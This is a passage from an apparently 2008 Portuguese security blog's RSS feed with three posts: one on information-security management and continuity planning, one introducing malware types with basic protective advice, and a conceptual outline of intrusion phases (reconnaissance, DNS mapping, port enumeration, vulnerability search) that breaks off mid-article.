<p>Para proteger algo, primeiro temos que saber <span style="font-style:normal;"><strong>o que proteger</strong></span> e de<span style="font-style:normal;"><span> </span></span><span style="font-style:normal;"><strong>quais ameaças</strong></span>. Só assim podemos determinar <strong>como proteger</strong>. Para isso serve a <em><strong>Análise de Riscos</strong></em>: enumerar quais os <strong>riscos</strong> de determinadas <strong>ameaças</strong> comprometerem determinadas <strong>vulnerabilidades</strong> e quais os <strong>impactos</strong> decorrentes.</p>
<p>A possibilidade de um incêndio é uma <strong>vulnerabilidade</strong> muito comum para qualquer empresa. Para uma distribuidora de combustíveis, o <strong>risco</strong> (possibilidade de ocorrência) é muito maior do que para uma distribuidora de água mineral, dada a natureza do produto, que possibilita um número  muito maior de <strong>ameaças</strong>. Dependendo da extensão de um incêndio, ele gera <strong>impactos</strong> na empresa, podendo variar de pequenos prejuízos materiais à perdas de vidas humanas e até a falência total da empresa.</p>
<p>Quantificando esses itens, torna possível identificar as prioridades das ações necessárias para mitigação desses riscos, já que poderemos quantificar, por exemplo, qual o tamanho do prejuízo decorrente de algumas horas (ou minutos) de sistema fora do ar por falta de energia elétrica, o que pode justificar a compra de um gerador próprio ou até mesmo a construção de um <em>site mirror</em> (instalações replicadas) com atualizações em tempo real.</p>
<p>Alguns riscos não podem ser eliminados, mesmo que o impacto seja grande, por demandarem ações inviáveis seja sob o ponto de vista econômico ou prático. Um terremoto pode destruir o prédio onde se encontram as instalações da empresa. O impacto pode ser fulminante, mas considerando um país como o Brasil, onde não existem ocorrências de terremotos, o risco passa a ser insignificante, não justificando a construção de um prédio a prova de terremotos. Já se sua empresa está situada sobre a <em>Falha San Andreas,</em> na Califórnia (EUA)&#8230;</p>
<p>Nesses casos, a <strong>gerência de riscos</strong> deve optar entre <strong>assumir</strong> ou <strong>transferir</strong><span> o risco</span>. Um seguro contra incêndios é uma forma de transferência de risco: “<em>Eu sei que o risco existe, mas eu transfiro responsabilidade para a seguradora</em>”.</p>
<h2 class="western">Política de Segurança da Informação</h2>
<p>Para garantir uma gestão de segurança eficaz, é necessário que se estabeleçam padrões operacionais e de condutas baseadas nas melhores práticas. O documento que define esses padrões dentro da empresa é a <strong>Política de Segurança</strong>, abordando os seguintes aspectos:</p>
<ul>
<li><strong>Diretrizes</strong><span>: possui 	caráter </span><em><span>estratégico</span></em><span>, 	definindo as políticas e por isso são estabelecidas</span> em 	conjunto com a alta direção. Descreve “o que dever ser feito”;</li>
<li><strong>Normas</strong>: de caráter <em>tático</em>, definem as regras 	ou normas a serem adotadas, de acordo com as diretrizes 	estabelecidas;</li>
<li><strong>Procedimentos</strong>: com caráter <em>operacional</em>, 	descrevem “como” as normas serão implementadas.</li>
</ul>
<p>A <em>Política de Segurança</em> deve ser um documento de fácil compreensão, para que seja de conhecimento de todos os funcionários, colaboradores e parceiros comerciais para o uso seguro de todos os ativos da empresa, incluindo-se a informação.</p>
<p>Como a <em>Política de Segurança</em> tem caráter normativo dentro da empresa, é necessário que haja um registro escrito e assinado por cada usuário ou funcionário, quanto ao seu conhecimento, inclusive para respaldo da empresa em possíveis questões trabalhistas.</p>
<h2 class="western">Classificação da Informação</h2>
<p>É impraticável, senão impossível, proteger todos os aspectos da informação. Por isso é necessário que as informações seja classificadas de acordo com o nível de criticidade para que sejam dispensados tratamentos distintos para cada situação.</p>
<p>A classificação deve tratar a informação durante todo seu ciclo de vida, estabelecendo critérios para sua criação, manuseio, transporte, armazenamento e descarte.</p>
<p>Diferentes critérios podem ser utilizados para classificar a informação. Uma forma simples pode constar de três categorias:</p>
<ul>
<li><strong>Público</strong>: acessível a qualquer pessoa dentro e fora 	da organização, dispensando qualquer tratamento;</li>
<li><strong>Restrito</strong>: somente para circulação interna à empresa 	e seus funcionários;</li>
<li><strong>Confidencial</strong>: de acesso restrito somente a 	determinados grupos dentro da organização.</li>
</ul>
<p>Como esses critérios são estabelecidos na Política de Segurança, dependendo da necessidade, outros níveis podem ser adotados, tais como <em>Institucionais</em>, <em>Secretos </em><span style="font-style:normal;">ou </span><em>Super-Secretos</em> (quem ainda não viu o termo <em>Top Secret</em> nos filmes?).</p>
<p>O aspecto que considero importante na <em>Classificação da Informação</em>, é no que diz respeito ao manuseio e descarte da informação. De nada adianta investir milhares de dólares em <em>firewalls</em>, <em>IDSs</em>, <em>IPSs</em>, <em>switches</em> gerenciáveis <em>layer</em> 3, redundância, etc. se a secretária do diretor entrega os planos estratégicos da empresa para o <em>office-boy</em> tirar fotocópias do documento na copiadora da sala no final do corredor&#8230;</p>
<h2 class="western">Gestão de Continuidade de Negócios</h2>
<p>Ninguém espera que aconteça, mas todas as empresas estão sujeitas à catástrofes. Em fevereiro de 2005, um incêndio transformou em cinzas, o edifício Windsor, um dos arranha-céus localizado em pleno coração financeiro de Madri (Espanha) e junto com ele, a sede da renomada empresa de auditoria, Deloitte. A empresa, que contava com cerca de 1200 funcionários na Torre Windsor, já estava operando normalmente algumas horas após o incêndio, um centro de <em>backup</em> distante da torre incendiada.</p>
<p>Um relatório da IBM mostra que os incêndios são a principal causa de interrupção das atividades das empresas, respondendo por 17,5% do total de paradas. Em segundo lugar vem o terrorismo<br />
e as sabotagens, nas quais se incluem os vírus de computador, com 17,5% de incidência cada um; depois, causas atmosféricas (14%), terremotos (10,5%), quedas de energia (9,5%), defeitos de software (8,8%), inundações (7%) e defeitos de hardware (5,3%).</p>
<p>É muito fácil tomar decisões erradas em momentos de crise. Para evitar isso, um <em>Plano de Continuidade de Negócios</em> (PCN), deve ser elaborado (e testado) antecipadamente à esses momentos, prevendo locais alternativos para o trabalho, quantitativo mínimo de mão-de-obra, setores da empresa indispensáveis, procedimentos para restauração do ambiente computacional e de infra-estrutura de comunicação entre outros. Esse plano, uma vez testado, deve ser seguido à risca durante a crise, evitando-se improvisações que pode custar mais caro ainda. É importante, também, que esse plano seja revisto e testado periodicamente, adaptando-se às mudanças naturais que ocorrem em qualquer organização.</p>
<h2 class="western">Segurança Física e Operacional</h2>
<p>O que é que segurança física tem a ver com segurança da informação? Tudo!!! Uma janela mal trancada, a ausência de sistemas de alarme e câmeras de vigilância podem contribuir para que equipamentos ou componentes deles podem ser furtados. Equipamentos não autorizados podem ser plugados à rede com a finalidade de espionagem. Um indivíduo contratado pela concorrência, pode entrar no prédio com um <em>notebook</em>, conecta-lo à rede e lançar um ataque de negação de serviço, justamente no momento de um <em>pregão eletrônico</em>. Uma sala de servidores sem controle de acesso físico, pode permitir que um atacante reinicie um servidor  e então roubar o arquivo de senhas, resetar senhas de usuários administradores ou até elevar o privilégio de usuários comuns.</p>
<p>Um incêndio pode comprometer a <strong>disponibilidade da informação</strong>, portanto, os responsáveis pela segurança da informação tem que estar atentos para verificar se os sistemas de proteção contra incêndio estão operacionais; se os extintores de incêndio estão com as revisões em dia; se as mangueiras de combate a incêndio estão em boas condições e desobstruídas; se as portas corta-fogo estão funcionando corretamente. A preservação das vidas humanas é prioritário em caso de catástrofes, mas além do aspecto humano, existe o fato que a perda de funcionários pode comprometer a <strong>continuidade dos negócios</strong>, portanto, a eficácia de um plano de evacuação, apesar de não parecer, <strong>também</strong> faz parte da atribuição da equipe de Segurança da Informação.</p>
<p>Interrupções no fornecimento de energia elétrica, podem comprometer a disponibilidade, portanto quadros de distribuição de energia elétrica devem ser de acesso restrito e manuseado somente por pessoas autorizadas e qualificadas. A mesma preocupação deve ser dispensada à infraestrutura de telefonia e cabeamento lógico.</p>
<p>Como se pode ver, existem “<em><strong>n</strong></em><span style="font-style:normal;"><strong>”</strong></span> pontos de vulnerabilidade, cujos riscos devem ser mitigados através de procedimentos relativos à segurança física e que podem afetar a segurança da informação.</p>
<h2 class="western">Além do perímetro</h2>
<p>Todos os aspectos abordados acima, fazem parte das disciplinas relativas à parte <em>gerencial</em> da Segurança da Informação, que eu citei somente para que você possa ter idéia da abrangência dessa especialidade da TI. Existem outros aspectos que não citei para não prologar demais o artigo.</p>
<p>Também não comentei nada sobre o lado <em>técnico</em> da Segurança da Informação, mais ligada aos bits, bytes, protocolos, softwares, etc que demandaria outras tantas páginas de texto.</p>
<p>O importante é que a partir de agora, quando você ouvir falar em <em>Segurança da Informação</em>, já vai perceber que está se falando de algo muito mais complexo e abrangente do que simplesmente defesa do perímetro contra ataques de <em>crackers</em>.</p>
<p>&#8212;&#8212;</p>
<p><a href="http://drwhitehat.wordpress.com/2008/10/03/seguranca-da-informacao-a-defesa-alem-do-perimetro/#respond">Adicione um comentário</a>.</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/153/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=153&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/10/03/seguranca-da-informacao-a-defesa-alem-do-perimetro/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>
	</item>
		<item>
		<title>Convivendo com as pragas da internet</title>
		<link>http://drwhitehat.wordpress.com/2008/09/26/convivendo-com-as-pragas-da-internet/</link>
		<comments>http://drwhitehat.wordpress.com/2008/09/26/convivendo-com-as-pragas-da-internet/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 09:00:00 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[vírus]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=138</guid>
		<description><![CDATA[Já que não dá para eliminar&#8230; Aprenda a conviver&#8230;
A internet já conquistou seu lugar na sociedade moderna, da mesma forma que o telefone e a televisão. O seu uso já está incorporado nos hábitos de grande parte da população urbana e muitos  não conseguem mais viver sem ela. Eu, por exemplo, posso até viver [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=138&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Já que não dá para eliminar&#8230; Aprenda a conviver&#8230;</h2>
<p>A internet já conquistou seu lugar na sociedade moderna, da mesma forma que o telefone e a televisão. O seu uso já está incorporado nos hábitos de grande parte da população urbana e muitos  não conseguem mais viver sem ela. Eu, por exemplo, posso até viver sem telefone e até sem televisão, mas sem internet?? Jamais!!</p>
<p>Contudo, o uso popular da internet trouxe junto uma série de perigos, assim como a criminalidade nas grandes cidades, entre as quais, diversas formas de pragas virtuais. Como é impossível “extermina-las” da internet, temos que conhece-las para saber como evita-las.</p>
<p>De modo geral, as diferentes formas de programas maléficos, são denominadas de <em><strong>malware</strong></em>, que é um neologismo criado a partir do termo <em><strong>mal</strong></em><em>icious soft</em><em><strong>ware</strong></em><strong> </strong>(programas maliciosos).</p>
<h2 class="western">Vírus</h2>
<p>Os vírus surgiram com os primeiros computadores pessoais ou microcomputadores, mas sua disseminação antes da internet, se dava basicamente pela troca de arquivos em meio magnético (disquetes) e por isso de forma muito mais lenta do que nos dias atuais.</p>
<p>Eles são assim chamados porque sua forma de propagação é semelhante à sua contraparte biológica. Um programa “infectado” contamina outros programas “sadios” ao ser executado, que por sua vez passa a contaminar outros programas.</p>
<p>Em resumo, um vírus de computador, é um programa se agrega a qualquer programa normal ao ser executado. A partir daí, toda vez que esse programa for executado, o código do vírus também é , passando a se agregar a outros programas. Mas a característica básica é que um vírus não tem “vida” autônoma. Ele só é executado se o programa infectado for executado. Por isso eles podem ser detectados pelos programas anti-vírus antes de causarem qualquer dano.</p>
<p>Uma vez instalado no sistema, o vírus pode ter as mais diversas funções, como apagar arquivos, espionar o usuário, permitir acesso remoto de um atacante, tornar o computador um “zumbi” para lançar ataques em massa contra outros sistemas, etc.</p>
<h2 class="western">Worms</h2>
<p><em>Vermes</em>: Com funções (maléficas) semelhantes aos vírus, eles se diferem por possuir vida “autônoma”, ou seja, eles não necessitam que um programa seja executado para ele também o seja.</p>
<p>Para sua propagação, os <em>worms</em> exploram vulnerabilidades (falhas) de sistemas operacionais ou simplesmente usam os compartilhamentos de rede para passar de um computador para outro. Uma vez que ele consiga se infiltrar num computador, ele passa a varrer a rede a procura de outros computadores para onde ele possa se copiar e assim continuar a propagação.</p>
<p>Por isso sua propagação pode ser muito rápida e crescendo de forma exponencial, num efeito cascata, tem potencial para colapsar toda internet em poucas horas. Já tivemos exemplo disso com a disseminação do Code Red anos atrás (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/06/26/entendendo-a-guerra-real-do-mundo-virtual/">leia mais</a></span></span>).</p>
<h2 class="western">Trojan</h2>
<p><em>Cavalo de Tróia (ou Trojan Horse)</em>: De forma análoga ao cavalo de madeira usado pelos gregos para invadir Tróia, os <em>trojans</em> são programas que se instalam no computador  do usuário fazendo-se passar por um programa legítimo. São muito utilizados em ataques de <em>phishing</em> (veja mais detalhes abaixo) onde são passados através de email. Outra forma muito utilizada para sua propagação, são as redes de compartilhamento (kazaa, emule, etc), na forma de softwares piratas, <em>cracks</em> (programas que burlam os sistemas de licenciamento dos softwares) e supostos vídeos e fotos pornôs.</p>
<p>Alguns sites maliciosos também pode instalar <em>trojans</em> na forma de controles Active-x, que são programas executados no browser (Internet Explorer), fazendo-se passar por visualizadores de vídeo ou sistemas de autenticação. Nesses casos o navegador pede permissão para o usuário proceder a instalação, o que muitas vezes ocorre por ignorância dele (o que não é mais o seu caso, né?).</p>
<h2 class="western">Phishing</h2>
<p><em>Corruptela da palavra “fishing” ou “pescaria”</em>: técnica de <em>Engenharia Social</em> que visa persuadir o usuário a executar um programa malicioso ou acessar um site falsificado com objetivo de obter números de contas bancárias, cartão de crédito e senhas, visando fraude financeira.</p>
<p>Normalmente os atacantes enviam e-mails de forma indiscriminada que invariavelmente acabam enganando um ou outro usuário incauto. Acabam obtendo resultados expressivos pela larga escala em que os e-mails enviados. O conteúdo desses e-mails são os mais variados possíveis, indo de pendências no Serasa/SPC/Receita Federal, passando por prêmios em automóveis e até supostas fotos comprometedoras do namorado(a) ou personalidades famosas (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/07/04/prevenindo-se-contra-fraude-bancaria-parte-1/">leia mais</a></span></span>).</p>
<p>Outras formas de propagação, são as redes sociais (Orkut, Facebook, etc) e os comunicadores de mensagens instantâneas (MSN, Gtalk, etc), em formas de supostos cartões virtuais, fotos ou vídeos. Nesses casos as mensagens partem de computadores já comprometidos, fazendo-se passar pelo seu usuário, o que acaba enganando usuários desatentos, mesmo que experientes (eu já caí numa dessas).</p>
<h2 class="western">Keyloggers</h2>
<p><em>Registradores de teclado</em>: são programas espiões, instalados usando quaisquer dos artifícios acima, e que passam a registrar toques de teclado e até posição de cliques de mouse, com a finalidade de obter dados bancários e senhas. Geralmente são os programas instalados nos ataques de <em>phishing</em>. Tudo que for registrado pelo programa é enviado ao atacante em qualquer ponto da internet.</p>
<h2 class="western">Spyware</h2>
<p><em>Software espião</em>: o sentido original do termo define programas com a finalidade de coletar informações a respeito de seus hábitos de navegação, consumo e pontos de interesse para alimentar uma base de dados a fim de gerar propagandas dirigidas, geralmente <em>spams</em> (e-mails não solicitados). Atualmente o termo pode designar qualquer forma de programa espião, incluindo-se os <em>keyloggers</em>.</p>
<h2 class="western">Adware</h2>
<p><em>Software de propaganda</em>: apesar de não provocarem maiores danos, são muito inconvenientes e geralmente difíceis de serem removidos, ao ponto de requerer a formatação do disco rígido e nova instalação do sistema operacional.</p>
<p>Esses programas geralmente são instalados ao acessar sites de pornografia ou <em>cracks</em>. Uma vez instalados, modificam a página inicial do navegador (e não adianta você tentar repor a sua página inicial que o programa altera novamente) geralmente direcionando para algum site pornô. Além disso costuma ficar abrindo, automaticamente, novas instâncias do navegador ou janelas de <em>pop-up,</em> direcionando para outros sites. O pior de tudo é que os sites para onde você é direcionando acabam instalando outros <em>adwares</em>, que provocam a abertura de mais e mais janelas.</p>
<h2 class="western">Outras pragas</h2>
<p>Dentre as pragas que não trazem maiores riscos, mas são bastante inconvenientes estão os <em>spams</em> e os <em>hoaxes</em>.</p>
<p><em>Spams</em> são e-mails de propaganda não solicitada que costumam entulhar as caixas postais se não houver um filtro anti-spam eficaz junto ao servidor de e-mail. Eu mesmo já tive grandes dores de cabeça por encontrar o servidor de e-mail parado após um final de semana, por esgotamento do espaço em disco de tanto <em>spam</em> que chegava nele.</p>
<p><em>Hoaxes</em> são mensagens de e-mail, muitas vezes de conteúdo alarmante, mas sem fundamento que só servem para entulhar nossas caixas postais e os links de internet. São e-mails do tipo “<em>a empresa x vai pagar para você por cada e-mail repassado</em>”, “<em>fulano acordou numa banheira cheia de gelo sem um dos rins</em>”, “<em>dia tal, o planeta marte ficar do tamanho da lua</em>”, e por aí vai. O engraçado é como essas mensagens circulam de forma recorrente. Esse sobre o planeta marte eu já havia recebido há mais de 4 anos atrás e recebi novamente esse ano&#8230;</p>
<h2 class="western">Recomendações</h2>
<p>Recentemente li um uma postagem num fórum sobre segurança, um sujeito dizendo que não usava programa anti-vírus para não consumir recurso de processamento. Ao invés disso ele preferia ficar examinando os processos que estavam sendo executados na máquina. Esse tipo de raciocínio é totalmente equivocado. Atualmente, não podemos abrir mão de um bom programa de anti-vírus porque eles impedem a ação do vírus (e outras espécies de <em>malware</em>) <strong>antes</strong> que eles se instalem na máquina. Uma vez que o <em>malware</em> se instale na máquina, geralmente não se consegue removê-los sem que isso provoque “seqüelas” no sistema operacional, exigindo sua reinstalação.</p>
<p>Também não adianta te anti-vírus instalado na máquina se o seu banco de dados não está atualizado. Dezenas de novos vírus ou variantes são criados todos os dias. Se o banco de dados não está atualizado, o programa não tem como detectar esses novos vírus, porque ele contem as chamadas <em>assinaturas</em> dos vírus (padrões que servem para o anti-vírus detectar que determinado código é de um determinado vírus).</p>
<p>Existem várias opções de anti-vírus gratuitos na internet: AVG, Avast, Avira, são alguns deles. Se você não tem nenhum, faça uma pesquisa na internet e instale qualquer um deles. Qualquer anti-vírus é melhor que não ter nenhum.</p>
<p>Mantenha seu sistema atualizado com as últimas correções. No Windows, o <em>Windows Update</em> tem essa função. Uma pesquisa recente estimou em 450 mil PCs zumbis na internet. Geralmente, são máquinas sem as devidas aplicações de correções, cujas vulnerabilidades são exploradas para sua invasão e instalação de programas que os tornam zumbis (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://info.abril.com.br/aberto/infonews/092008/04092008-31.shl">leia mais</a></span></span>).</p>
<p>Evite acessar sites de pornografia, softwares piratas e <em>cracks</em>. Uma pesquisa recente do Google, chegou à estimativa de que um em cada dez sites da internet podem instalar códigos maliciosos no computador do internauta sem seu conhecimento. A grande maioria desses sites é de pornografia ou pirataria (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="http://news.bbc.co.uk/2/hi/technology/6645895.stm">leia mais</a></span></span>).</p>
<p>Cuidado com o uso do seu pendrive. Devido a facilidade de uso desse dispositivo, os criadores de vírus estão utilizando-os como vetor de propagação (<span style="color:#000080;"><span style="text-decoration:underline;"><a href="../2008/07/18/pendrives-pequenos-notaveis-e-perigosos/">leia mais</a></span></span>).</p>
<p>Por fim, tenha muito cuidado ao clicar em links que você recebe por e-mail, redes sociais ou mensagens instantâneas.</p>
<p>&#8212;&#8212;</p>
<p><a href="http://drwhitehat.wordpress.com/2008/09/26/convivendo-com-as-pragas-da-internet/#respond">Adicione um comentário</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/drwhitehat.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/drwhitehat.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/drwhitehat.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/drwhitehat.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/drwhitehat.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/drwhitehat.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/drwhitehat.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/drwhitehat.wordpress.com/138/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/drwhitehat.wordpress.com/138/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/drwhitehat.wordpress.com/138/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=138&subd=drwhitehat&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://drwhitehat.wordpress.com/2008/09/26/convivendo-com-as-pragas-da-internet/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">drwhitehat</media:title>
		</media:content>
	</item>
		<item>
		<title>A Anatomia de uma Invasão</title>
		<link>http://drwhitehat.wordpress.com/2008/09/19/a-anatomia-de-uma-invasao/</link>
		<comments>http://drwhitehat.wordpress.com/2008/09/19/a-anatomia-de-uma-invasao/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 09:00:37 +0000</pubDate>
		<dc:creator>drwhitehat</dc:creator>
				<category><![CDATA[hacker]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[invasão]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://drwhitehat.wordpress.com/?p=131</guid>
		<description><![CDATA[Enquanto isso, no outro lado de Gothan&#8230;
No silêncio da madrugada, num quarto sombrio, à penumbra de uma luminária sobre uma mesa cheia de livros e papéis, um sujeito com cara de Nerd tecla freneticamente no de seu computador. Eles está tentando invadir um sistema. Após alguns segundos, dispara um programa que exibe em posições fixas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=drwhitehat.wordpress.com&blog=4478092&post=131&subd=drwhitehat&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><h2 class="western">Enquanto isso, no outro lado de Gothan&#8230;</h2>
<p>No silêncio da madrugada, num quarto sombrio, à penumbra de uma luminária sobre uma mesa cheia de livros e papéis, um sujeito com cara de <em>Nerd</em> tecla freneticamente no de seu computador. Eles está tentando invadir um sistema. Após alguns segundos, dispara um programa que exibe em posições fixas da tela, seqüências de caracteres aleatórios de tamanhos garrafais. Lentamente, um caracter após o outro, começam a parar revelando a senha correta do sistema. Invariavelmente uma frase pisca algumas vezes na tela: “<em>Access Granted</em>” e abre-se uma tela do sistema de uma agência de segurança governamental&#8230;.</p>
<p>Isso lhe soa familiar? Parece coisa de filme&#8230; E só pode ser coisa de filme, mesmo! No mundo real, as invasões não ocorrem dessa forma. Isso não passa de <em>pirotecnia hollyoodiana</em>. Também não vamos considerar como invasões, as decorrentes de pragas  como <em>worms</em>, pichações em páginas web decorrentes de vulnerabilidades descobertas por ferramentas automatizadas que varrem a internet indiscriminadamente disparadas por <em>Script Kiddies</em>, muito menos os ataques de <em>phishing</em>, feitos por pessoas as quais a mídia insistem em chamar de <em>hacker</em>.</p>
<p><em>Worms</em>, são programas semelhantes aos vírus de computador, que se propagam pelas redes explorando vulnerabilidades e compartilhamentos de rede.  As ferramentas automatizadas utilizadas por <em>Script Kiddies</em><span style="font-style:normal;"> são encontradas prontas pela net, eles as usam sem saber o que realmente elas fazem</span>. <em>Phishers</em> fazem parte de uma categoria que nem considero como parte do mundo de TI (Tecnologia da Informação), já que muitos usam programas prontos comercializados no submundo da internet. Para mim, não passam de simples criminosos.</p>
<p>As invasões “reais” são realizadas por pessoas com elevado nível de conhecimento técnico, com focos específicos em determinadas instalações ou empresas. Eles podem ser movidos pelo desafio de violar sistemas de seguranças, por mero prazer pessoal ou pela busca de prestígio nas comunidades <em>crackers</em>. Pode ser que eles sejam movidos por questões financeiras, na intensão de cometer fraudes ou até mesmo contratados por empresas concorrentes para espionagem ou sabotagem.</p>
<p>Existe também uma categoria de profissionais que são contratados pelas empresas para testar seus próprios sistemas de segurança, desenvolvendo a atividade se chama de <em>PenTest</em> (<em>Penetration Test</em> ou Teste de Penetração).</p>
<p>Esse tipo de invasão é uma atividade coordenada e cuidadosamente planejada, que invariavelmente passa por diversas etapas, conforme vamos ver a seguir.</p>
<h2 class="western">1. Coleta de informações</h2>
<p>Antes de iniciar qualquer tentativa de invasão, devemos coletar o máximo de informações a respeito da empresa atacada. Uma pesquisa no <em>Google</em> pode ser um bom começo para saber o que existe de informação disponível na internet, a respeito de:</p>
<ul>
<li>
<p style="margin-bottom:0;">Atividades da empresa;</p>
</li>
<li>
<p style="margin-bottom:0;">Composição acionária;</p>
</li>
<li>
<p style="margin-bottom:0;">Nomes de sócios, diretores, 	gerentes de TI, administradores da rede;</p>
</li>
<li>
<p style="margin-bottom:0;">Filiais e empresas coligadas;</p>
</li>
<li>Endereços de homepages e e-mails;</li>
</ul>
<p>Ainda nessa fase, considerando que a empresa possua um <em>site</em> na internet, podemos coletar as informações sobre endereços de servidores DNS (<em>Domain Name Service</em> ou Serviço de Nome de Domínio), nome do responsável técnico (geralmente é o administrador da rede), endereço e cnpj.</p>
<p>Toda e qualquer informação deve ser considerada para que possamos ter uma visão global e um bom nível de entendimento sobre a empresa. Nomes de sócios, diretores, funcionários e parceiros comerciais podem ser utilizados para ataques de <em>Engenharia Social</em>. A existência de filiais e coligadas pode significar a existência de conexões VPN (<em>Virtual Private Network</em> ou Rede Privada Virtual), que a princípio é uma forma segura de interconectar redes pela internet. Endereços web servem para descobrir os endereços IP por onde a rede corporativa geralmente se conecta na internet.</p>
<h2 class="western">2. Mapeamento da rede</h2>
<p>O objetivo dessa fase é tentar descobrir a topologia da rede: quantos computadores existem e como estão interligados. Para isso, podemos iniciar com uma pesquisa nos servidores de DNS da empresa.</p>
<p>Um servidor DNS é responsável pela mapeamento dos nomes de domínio (ex: servidor.empresa.com) para endereços IP (ex: 200.100.200.50). Ele é naturalmente acessível pela internet para determinados tipos de consultas, entretanto, existe um recurso, chamado de <em>Transferência de Zona</em>, que serve para sincronização de registros entre servidores primários e secundários. Alguns administradores de rede permitem que esse tipo de consulta seja feita de qualquer lugar da internet, por descuido ou desconhecimento, e simplesmente fornece o “mapa da mina” para um atacante, porque esse tipo de consulta permite que se obtenha todo os nomes e endereços de todos os servidores da rede. Se esse servidor DNS também for responsável pela resolução de nomes da rede interna, pode ser que o atacante obtenha não só os endereços dos computadores acessíveis pela internet, mas simplesmente de TODOS os computadores da rede interna da empresa.</p>
<p>Uma outra possibilidade para descobrir os computadores que existem no domínio da empresa, é através de consultas de DNS “reverso”, quando informamos o endereço IP e o servidor retorna o nome da máquina que responde por aquele endereço. Sabendo o endereço de um servidor, é possível inferir a faixa de endereços possivelmente destinados à empresa e limitar a pesquisa reversa nessa faixa.</p>
<p>Existe inclusive uma técnica sofisticada de mapeamento, chamada de <em>firewalking</em>, que permite “enxergar” quais são as máquinas que estão por trás do firewall. Seria mais ou menos como se pudéssemos ver através das paredes.</p>
<h2 class="western">3. Enumeração de serviços</h2>
<p>Uma feita já foram descobertas as máquinas existentes na rede, procuramos descobrir quais os serviços que estão sendo executados em cada uma delas. Um serviço não é nada mais do que um programa que fica aguardando conexões numa determinada “porta”. Por exemplo, todas as conexões de páginas web são feitas para a porta de número 80. Quem responde às solicitações de conexão nessa porta é um software servidor web como por exemplo, Apache, IIS (Internet Information Service) da Microsoft ou qualquer outro software com a mesma finalidade.</p>
<p>As portas de numeração 1 à 1024 (de um total de 65.535) são padronizadas de acordo com o tipo de serviço. Assim, se encontramos a porta 22 aberta, podemos ter quase certeza que existe um serviço SSH (terminal remoto), assim como a porta 25 implicaria num serviço de e-mail. Só não podemos ter certeza sobre o serviço que está “escutando” uma determinada porta porque essas numerações são padronizadas, mas não obrigatórias. Nada impede que o administrador disponibilize um serviço SSH na porta 25, por exemplo.</p>
<p>Nessa etapa também procuramos identificar as versões dos sistemas operacionais e de cada software servidor, com uso de ferramentas adequadas. Essa informação será útil na próxima etapa.</p>
<h2 class="western">4. Busca por vulnerabilidades</h2>
<p>Uma vulnerabilidade de um software é decorrente de um projeto deficiente ou erro de programação. Quando uma vulnerabilidade é descoberta por incontáveis pesquisadores (os verdadeiros <em>Hackers</em>) ao redor do mundo, o fabricante do software é notificado e a vulnerabilidade é divulgada em <em>sites</em> especializados para que todos tomem conhecimento da sua existência e tomem as providências necessárias para eliminar esse risco. Isso geralmente é atingido com a aplicação de uma <em>Correção</em> ou <em>Patch</em> (traduzindo literalmente: remendo), disponibilizado pelo fabricante do software.</p>
<p>Se o administrador da rede não aplicou as devidas correções num determinado software, pode ser que ele possa ser explorado para a invasão. Para isso, basta um pesquisa na internet para descobrir se aquela versão de software que está sendo usada, possui alguma vulnerabilidade e como ela é explorável.</p>
